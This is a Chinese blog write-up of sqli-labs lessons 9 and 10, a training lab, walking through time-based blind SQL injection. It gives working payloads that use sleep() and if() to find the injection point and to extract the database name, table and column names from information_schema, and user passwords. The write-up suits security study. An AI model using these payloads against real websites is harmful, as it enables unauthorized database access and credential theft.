Less(9)~Less(10)

Less(9)

不管怎么输入,回显总是you are……,考虑时间盲注

    

 

 

 

1.先判断注入类型

  (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1 and sleep(5) --+

     

 

 

     没有明显延迟

  (2)再输入?id=1 and 1=2 and sleep(5) --+

    

 

 

     也没有明显延迟,结合(1)(2),不是数字类型

  (3)再输入?id=1' and sleep(5) --+

     

 

 

   参数是id='1';

2.然后我们就来报数据库

  (1)爆数据库的长度:?id=1' and if (length(database())=x ,sleep(5),1)--+

    x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;

    

 

 

   (2)注当前的数据库名:可以用<,>,=比较,对字符进行范围的判断,然后用二分法不断缩小范围

      通过不断的比较可以得出第一个字符是=s

    ?id=1' and if(left(database(),1)='s' ,sleep(5),1)--+

 

     然后爆依次爆下个字符,最后得到数据库的名称是=‘security’

  (3)爆表:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),5)='users' ,sleep(5),1)--+

    通过limit x,1 中x的变化,我们找到了users表

      (4)定向找username和password

     ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit x,1),8)='password' ,sleep(5),1)--+ 

     通过x的不断变化,最终在第4行找到了'password',在第9行找到了'username'

    

 

     

 

  (4)爆值

    ?id=1' and if(left((select password from users order by id limit x,1),4)='dumb' , sleep(5), 1) --+

    通过x的不断变化,找到一个用户名和密码都是‘dumb’

    

 

     

 

 Less(10)

和Less(9)差不多,就是参数书id="1"

 

posted @ 2020-02-08 15:38  孟雨  阅读(234)  评论(0编辑  收藏  举报